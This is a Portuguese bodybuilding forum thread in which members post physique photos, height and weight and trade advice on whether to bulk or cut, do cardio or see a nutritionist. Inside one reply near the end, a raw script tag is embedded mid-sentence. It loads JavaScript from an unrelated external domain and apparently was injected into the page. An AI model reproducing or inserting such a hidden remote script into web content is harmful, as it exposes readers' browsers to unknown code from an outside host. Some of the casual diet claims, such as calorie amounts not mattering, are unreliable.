[Oficial] Devo Fazer Cutting ou Bulking? Poste sua foto!

[decsot 1]

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Controle sua alimentação e comece a fazer aerobicos com mais frequencia que essa barriga ai some.

Pode fazer um treino de hipertrofia porém capriche nos aerobicos que automaticamente voce vai perder a barriga e ganhar massa magra.

Por enquanto coloco o corpo em ação e comece a rotina de dieta e aerobico. Foque na dieta que é possível ganhar massa magra e perder gordura ao mesmo tempo por mais que dizem que isso é lenda.

para já penso então fazer aerobicos segunda, quarta e sexta e hipertrofia (leve) terça e quinta. isto com uma alimentação cuidada!

estou a entender direito?

devo ingerir calorias suficientes para manter, baixar ou aumentar o peso?

agradecido pela opinião

[rvtz 101]

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para já penso então fazer aerobicos segunda, quarta e sexta e hipertrofia (leve) terça e quinta. isto com uma alimentação cuidada!

estou a entender direito?

devo ingerir calorias suficientes para manter, baixar ou aumentar o peso?

agradecido pela opinião

A questão não é a quantidade de calorias e sim QUAIS calorias voce irá consumir na sua dieta.

O ideal seria procurar um nutricionista para lhe ajudar com a dieta e voce se livrar dos fastfoods e porcarias do dia-a-dia.

O IDEIAL seria fazer aerobico todos os dias e treinar todos os dias. Nada muito extremo de inicio, comece devagar, treine normal e após o treino crie o costume de fazer pelo menos de 15 a 25 minutos de aerobico: não precisa sair correndo na esteira a 15Km/h que em 2 minutos voce vai cansar. Comece devagar, com caminhadas e trotes e vai aumentando a intensidade conforme for ganhando resistencia.

O grande segredo é a DIETA aliada a EXERCICIOS FISICOS, tanto para ganho muscular quanto para queima de gordura. Nosso corpo é capaz de grandes mudanças mas só depende de voce.

Quando comecei a treinar (com 28 anos já) eu tinha uma barrida parecida com a sua, um falso magro rsrs e após 4 anos de dedicação, treino e dietas estou como na foto ai do meu avatar. Não me gabando, jamais, eu apenas tive FOCO e DETERMINAÇÃO e isso qualquer um pode ter.

Editado Abril 14, 2015 às 14:32 por rvtz

[decsot 1]

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A questão não é a quantidade de calorias e sim QUAIS calorias voce irá consumir na sua dieta.

O ideal seria procurar um nutricionista para lhe ajudar com a dieta e voce se livrar dos fastfoods e porcarias do dia-a-dia.

O IDEIAL seria fazer aerobico todos os dias e treinar todos os dias. Nada muito extremo de inicio, comece devagar, treine normal e após o treino crie o costume de fazer pelo menos de 15 a 25 minutos de aerobico: não precisa sair correndo na esteira a 15Km/h que em 2 minutos voce vai cansar. Comece devagar, com caminhadas e trotes e vai aumentando a intensidade conforme for ganhando resistencia.

O grande segredo é a DIETA aliada a EXERCICIOS FISICOS, tanto para ganho muscular quanto para queima de gordura. Nosso corpo é capaz de grandes mudanças mas só depende de voce.

Quando comecei a treinar (com 28 anos já) eu tinha uma barrida parecida com a sua, um falso magro rsrs e após 4 anos de dedicação, treino e dietas estou como na foto ai do meu avatar. Não me gabando, jamais, eu apenas tive FOCO e DETERMINAÇÃO e isso qualquer um pode ter.

Muito obrigado pelas palavras, percebi claramente a mensagem

[rvtz 101]

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Muito obrigado pelas palavras, percebi claramente a mensagem

Nao existe segredo e sim DETERMINAÇÃO.

O que voce não sabe, procure um profissional pra te orientar, o resto está em voce, basta acreditar que voce pode.

dica: tira esse pelos ai tbm kkkkk ta parecendo o Beer (user aqui do forum kkkk)

Editado Abril 14, 2015 às 14:47 por rvtz

[decsot 1]

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Nao existe segredo e sim DETERMINAÇÃO.

O que voce não sabe, procure um profissional pra te orientar, o resto está em voce, basta acreditar que voce pode.

dica: tira esse pelos ai tbm kkkkk ta parecendo o Beer (user aqui do forum kkkk)

na proxima vez que colocar foto vai ser sem pelos e mais saudavel! prometido

[Andrézis 23]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

http://imageshack.com/a/img540/2517/BSW8DY.jpg

http://imageshack.com/a/img538/254/mUyaD8.jpg

http://imageshack.com/a/img538/2685/YWEUwv.jpg

[CAIOGYM 1]

.

Editado Abril 28, 2015 às 20:27 por CAIOGYM

[h1ghland3r 10]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

http://imageshack.com/a/img540/2517/BSW8DY.jpg

http://imageshack.com/a/img538/254/mUyaD8.jpg

http://imageshack.com/a/img538/2685/YWEUwv.jpg

Bulking.

Sent from my Moto X

[Toxi 15]

Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

http://imageshack.com/a/img540/2517/BSW8DY.jpg

http://imageshack.com/a/img538/254/mUyaD8.jpg

http://imageshack.com/a/img538/2685/YWEUwv.jpg

Cut, irmão.

foto atual:

http://i.imgur.com/kDFeHQl.jpg

foto anterior:

http://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

BULK OU CUTT???

Manda um bulk, amigo. Põe pra explodir esse shape. hehe

[rvtz 101]

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Acham que devo fazer um bulking limpo ou um cutting?

tenho 1,79 e 85kg

http://imageshack.com/a/img540/2517/BSW8DY.jpg

http://imageshack.com/a/img538/254/mUyaD8.jpg

http://imageshack.com/a/img538/2685/YWEUwv.jpg

Dinovo ? rsrs

Bulk cara, limpo sempre.<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

Bulking.

Sent from my Moto X

Cara, mesma coisa que disse pro cara ai encima.

Se voce controlar sua alimentação com uma dieta legal e limpa concerteza consegue dar uma limpada na graxa e ganhar massa magra.

mas eu partiria pro bulk, ganharia mais MM e dps cutava.